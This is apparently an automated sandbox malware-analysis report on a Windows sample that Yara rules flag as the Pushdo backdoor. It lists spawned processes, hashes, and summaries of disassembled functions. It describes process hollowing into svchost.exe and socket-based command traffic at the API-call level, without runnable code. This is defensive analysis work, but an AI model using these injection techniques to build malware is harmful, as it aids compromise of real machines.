Permanently</h1><p>The document has moved <a href="https://www.credo.edu.pl/">here</a>.</p></body></html>

Target ID:	0
Start time:	05:17:07
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\yGktPvplJn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\yGktPvplJn.exe"
Imagebase:	0x400000
File size:	1'948'160 bytes
MD5 hash:	D9C7BEEACDAC2AAE5D8C675556BFAAE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:17:40
Start date:	25/10/2024
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0x400000
File size:	1'948'160 bytes
MD5 hash:	D9C7BEEACDAC2AAE5D8C675556BFAAE9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:17:45
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:17:48
Start date:	25/10/2024
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0x400000
File size:	1'948'160 bytes
MD5 hash:	D9C7BEEACDAC2AAE5D8C675556BFAAE9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:18:15
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000007.00000002.3568343240.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:18:20
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000008.00000002.3403881757.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:18:24
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000009.00000002.3436507644.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:18:44
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 0000000A.00000002.3395101428.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:18:45
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 0000000B.00000002.3435918622.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:18:52
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 0000000C.00000002.3435716835.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:19:11
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x230000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 0000000D.00000002.3364967602.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	99%
Signature Coverage:	4.7%
Total number of Nodes:	1156
Total number of Limit Nodes:	5

Executed Functions

Function 00401005 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNELBASE(kernel32.dll,00000000,00000000), ref: 00401035
GetProcAddress.KERNEL32(75900000,VirtualAlloc), ref: 0040106A

Part of subcall function 00401126: VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 00401144

Strings

LoadLibraryExA, xrefs: 0040101A
VirtualAlloc, xrefs: 00401062
GetProcAddress, xrefs: 00401047
kernel32.dll, xrefs: 00401034

Memory Dump Source

Source File: 00000004.00000002.3344754261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_svchost.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID: GetProcAddress$LoadLibraryExA$VirtualAlloc$kernel32.dll
API String ID: 4074058790-1482053243
Opcode ID: bfa598e39201ea56365d01237002b764d44595e1bff33a7ec6927efc10a0c0ef
Instruction ID: 4ff399170a710021cd26f301060e842f1d9714487b9385cbdeed3e88436b29f7
Opcode Fuzzy Hash: bfa598e39201ea56365d01237002b764d44595e1bff33a7ec6927efc10a0c0ef
Instruction Fuzzy Hash: C701937264038D9FDB72DFA4CC84FDA37A9EF48300F014532E90DCBA50E675AA048B96

Function 0408BF20 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 0408C05A
GetProcAddress.KERNEL32(?,04089FF9), ref: 0408C078
ExitProcess.KERNEL32(?,04089FF9), ref: 0408C089
VirtualProtect.KERNELBASE(04000000,00001000,00000004,?,00000000), ref: 0408C0D7
VirtualProtect.KERNELBASE(04000000,00001000), ref: 0408C0EC

Memory Dump Source

Source File: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: 64764ee8238996737652da89ce96f32c0f690e677ce2c9ab463374656e08a4d0
Instruction ID: 20fcce43128c80cbc216fde34acc2cdd335751d52faa48733a5718032d389bea
Opcode Fuzzy Hash: 64764ee8238996737652da89ce96f32c0f690e677ce2c9ab463374656e08a4d0
Instruction Fuzzy Hash: CA51F6716542525BE720AEB8CEC0664B7F0EB02264718073DE5E5EB3C3EBA0B8059F61

Function 04001780 Relevance: 13.6, APIs: 9, Instructions: 118
sleepthreadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 04001795
ExitProcess.KERNEL32 ref: 040019A2

Part of subcall function 04001490: lstrcat.KERNEL32(?,04003134), ref: 04001581
Part of subcall function 04001490: GetTickCount.KERNEL32 ref: 04001587
Part of subcall function 04001490: closesocket.WS2_32(000000FF), ref: 04001606

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040017E6
CreateThread.KERNEL32(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 0400188B
CreateThread.KERNEL32(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 04001963
WaitForSingleObject.KERNEL32(?,000000FF), ref: 04001976
Sleep.KERNEL32(00009C40), ref: 04001981
Sleep.KERNEL32(00007530), ref: 04001990

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Create$SleepThread$CountEventExitObjectProcessSingleStartupTickWaitclosesocketlstrcat
String ID:
API String ID: 1305884959-0
Opcode ID: f0b69e079e7673a079c27c6e2f2a8cd26e44fc475a6274cd8f5bbbbe9d24f6ce
Instruction ID: 2f7e3e578d268ca83db2a9f917eba75e9ec579b5eb93670916da3db20cf0bcb8
Opcode Fuzzy Hash: f0b69e079e7673a079c27c6e2f2a8cd26e44fc475a6274cd8f5bbbbe9d24f6ce
Instruction Fuzzy Hash: 14512674A01224AFFB60EF60DC59BDAB7B0AB49708F0480E8E5497B2C0D7756E84CF52

Function 04001160 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400116C
htons.WS2_32(?), ref: 04001190
gethostbyname.WS2_32(?), ref: 0400119D
connect.WS2_32(000000FF,?,00000010), ref: 040011F1
closesocket.WS2_32(000000FF), ref: 0400120E

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 5ccaf1c3ea3cc35ba44a4928239b8e3f50532a85871e9f820c8ce02bbe74df10
Instruction ID: 08c5e0426ad4df4722dd3bdfc990c85badbf8b170f181f32ce41d694214c1be1
Opcode Fuzzy Hash: 5ccaf1c3ea3cc35ba44a4928239b8e3f50532a85871e9f820c8ce02bbe74df10
Instruction Fuzzy Hash: 66315070A00259EBEB14DFA4C845BEEB7B6BF48318F108649E5617F2C0E7B6A9408751

Function 04001490 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNEL32(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: 2b4774a9cc3569cb0d431e46e6562ce2d743b78a6f0d56400fdbc1b542b363ff
Instruction ID: d79780824819048788ded504410e9a552de5875a97c05552d19a965bcf11c014
Opcode Fuzzy Hash: 2b4774a9cc3569cb0d431e46e6562ce2d743b78a6f0d56400fdbc1b542b363ff
Instruction Fuzzy Hash: 053152B5D41218EBEB20EF94DC49BD973B4AB14308F0482D9E5197A2C1E7766F848F91

Function 040014B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNEL32(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: 1dda620d0f90e1d39d5b1389c40b4f7d6118be99243556aec077c7f19cb64258
Instruction ID: efc04feaa42e0dd8c691736b9f02f641cbb91c62c4f6f354fde5ae11d8ba4a5d
Opcode Fuzzy Hash: 1dda620d0f90e1d39d5b1389c40b4f7d6118be99243556aec077c7f19cb64258
Instruction Fuzzy Hash: 423132B5D41218ABEB20EFA4DC89BD973B4AB18308F0482D5E5197A181E6756F84CF51

Function 040014DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNEL32(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: 1f82473d540f5fb1273ef43826701a5f3a1d8250c3c94357eb4ee11d812334e4
Instruction ID: 6ed18f16ab0dd41aabad2fa4162e749fae483d95e79aad030a55c0feddf4590a
Opcode Fuzzy Hash: 1f82473d540f5fb1273ef43826701a5f3a1d8250c3c94357eb4ee11d812334e4
Instruction Fuzzy Hash: 383164B5D4021CABEB24EF94DC88BD97374AB18308F0482D8E51D7A181EB75AF84CF51

Function 04001989 Relevance: 4.6, APIs: 3, Instructions: 96
sleepthreadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04001490: lstrcat.KERNEL32(?,04003134), ref: 04001581
Part of subcall function 04001490: GetTickCount.KERNEL32 ref: 04001587
Part of subcall function 04001490: closesocket.WS2_32(000000FF), ref: 04001606

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040017E6
CreateThread.KERNEL32(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 0400188B
CreateThread.KERNEL32(00000000,00000000,Function_00001630,?,00000000,00000000), ref: 04001963
WaitForSingleObject.KERNEL32(?,000000FF), ref: 04001976
Sleep.KERNEL32(00009C40), ref: 04001981

Part of subcall function 04001DC0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04001E14

Part of subcall function 04001470: GetProcessHeap.KERNEL32(00000008,?), ref: 04001479
Part of subcall function 04001470: RtlAllocateHeap.NTDLL(00000000), ref: 04001480

Sleep.KERNEL32(00007530), ref: 04001990
WSACleanup.WS2_32 ref: 0400199B
ExitProcess.KERNEL32 ref: 040019A2

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Create$HeapProcessSleepThread$AllocAllocateCleanupCountEventExitObjectSingleTickVirtualWaitclosesocketlstrcat
String ID:
API String ID: 3000315311-0
Opcode ID: 2a348508626e25c561abb57ce720760ca1711559407a21712f05a6e73e829010
Instruction ID: ecbd1e530684247b239ee6e1b256228db756e23c6e027602103708aff6be2e82
Opcode Fuzzy Hash: 2a348508626e25c561abb57ce720760ca1711559407a21712f05a6e73e829010
Instruction Fuzzy Hash: 84410674A012289FFB60DF14DC95BDAB7B0AB4A708F1480E8E5497B2C4D7756E80CF46

Function 004011CD Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNELBASE(?,00000000,00000000), ref: 004011FC

Memory Dump Source

Source File: 00000004.00000002.3344754261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1d8c67a6fd8a031ce9178923ff6fa604b01da3edc277bbd736844eb450087ab7
Instruction ID: 35013e2e2bdfb2c25cf3a4b33a37da36620c85c937569e224cb1d264aff8bf43
Opcode Fuzzy Hash: 1d8c67a6fd8a031ce9178923ff6fa604b01da3edc277bbd736844eb450087ab7
Instruction Fuzzy Hash: B5114872944205AFDF10CF44C8C0B9A37A4AF15354F2981B9EC19FB3A2D374EE148B99

Function 00401126 Relevance: 1.3, APIs: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 00401144

Memory Dump Source

Source File: 00000004.00000002.3344754261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f46dcd975488781c9cddb351eca70577c1689cc1756a23961b888947e9d6707a
Instruction ID: 6f389262607e94f6ca6fd2432eff30f66c048e0178ed9f8f27be01fdfe11bbb9
Opcode Fuzzy Hash: f46dcd975488781c9cddb351eca70577c1689cc1756a23961b888947e9d6707a
Instruction Fuzzy Hash: 02115E32600615ABCB21DF64CD81B8BB7F4AF09324F144469AA1ABB691D771FA00DB88

Non-executed Functions

Function 04001F80 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 04001FA4
lstrcat.KERNEL32(?,\system32\svchost.exe), ref: 04001FB6
lstrcat.KERNEL32(?,0400317C), ref: 04001FCE
lstrcat.KERNEL32(?,00000000), ref: 04001FDF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 04002057
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 04002090
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040020A5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 040020CE
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 040020F7
TerminateProcess.KERNEL32(?,00000000), ref: 04002115
CloseHandle.KERNEL32(?), ref: 04002122
CloseHandle.KERNEL32(?), ref: 0400212F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002140

Strings

SystemRoot, xrefs: 04001F9F
D, xrefs: 0400200B
\system32\svchost.exe, xrefs: 04001FAA

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: a2e130e3067fb675d6cba66bc008b099260b4f00c1c02acdd7d92c891b56e0b3
Instruction ID: 1d4488b5fdb617a131862b70200c6806e4887f475a197b4823290bb3b9e97252
Opcode Fuzzy Hash: a2e130e3067fb675d6cba66bc008b099260b4f00c1c02acdd7d92c891b56e0b3
Instruction Fuzzy Hash: 07D13EB1A00215ABDB29CF54DC94FAEB7B9FB48704F0485D8F709A7280D678AE80CF55

Function 04001DC0 Relevance: 12.1, APIs: 8, Instructions: 149memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04001E14
VirtualAllocEx.KERNEL32(00000000,?,00000000,00003000,00000040), ref: 04001E40
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 04001E60
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04001E7A

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 52cf3d6ea764938bff9b522e6c342b7d46ced791a51747c70ce413cfb71456e5
Instruction ID: 690ccb563e0dd82574d8c7baf9c5524f022716bcc7e01862e985cdb9dd94f491
Opcode Fuzzy Hash: 52cf3d6ea764938bff9b522e6c342b7d46ced791a51747c70ce413cfb71456e5
Instruction Fuzzy Hash: B451FAB5E00209AFDB04CF94C895FAEB7B5FB48704F10C558FA05BB280D779AA41CBA0

Function 04001040 Relevance: 3.1, APIs: 2, Instructions: 56networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 04001078
GetTickCount.KERNEL32 ref: 04001094

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: CountTickrecv
String ID:
API String ID: 1874678310-0
Opcode ID: 6b4986c91a39f45b3505869805ead1539d7754d72571547b31f3d810936fcdc1
Instruction ID: 449e92a0b18f183db0f7345c8df75c2f30566562dbb85a03ceabff6c1882a85f
Opcode Fuzzy Hash: 6b4986c91a39f45b3505869805ead1539d7754d72571547b31f3d810936fcdc1
Instruction Fuzzy Hash: B821F274900299EFEF10CFA4D4447AE7BF1AF04309F108559E8456B281D7B6AA94DB92

Function 04001470 Relevance: 3.0, APIs: 2, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?), ref: 04001479
RtlAllocateHeap.NTDLL(00000000), ref: 04001480

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 7d22d5e720b19ebe3fdf8fb8f9025382c88743c1db814580772dbdb7f1de6b77
Instruction ID: 61a2ef97350e307aac14e02b87f229f9f448b96ae6b06e63cf0d20da0f522f94
Opcode Fuzzy Hash: 7d22d5e720b19ebe3fdf8fb8f9025382c88743c1db814580772dbdb7f1de6b77
Instruction Fuzzy Hash: AFC09B71541308ABD6015FD9E91DD5677ACE74C701F004010BF0DD6140CA7CFC404771

Function 04008399 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 1ea73459b4ac5b73209bf3c5558e9fa2c2dbc87373b0b5c9ea0b1fbcf0a49974
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 68D19F73C0B9B30A97B5952D405853EEAA27FC169171FC7E09CD43F2CAD62ABD0096D0

Function 04007F79 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 7b6f9559c9099266818115060fa230a4ecd424d78eef313e01a9d437156239a4
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 59D18F73D0B9B30A97B5852D446863EEAA27FC169071FC7E18CD43F2CAE62A7D0095D0

Function 04007B6D Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: c13ea7211b3a9d54161bf791ca4e8ca701cf71de13c8cb0c5e7f44a24de3a5c3
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: BBC16E77D0B9B30A97B6852D405863EEBA27FC169071FC7E18CD43F2CA962A7D0496D0

Function 04007799 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

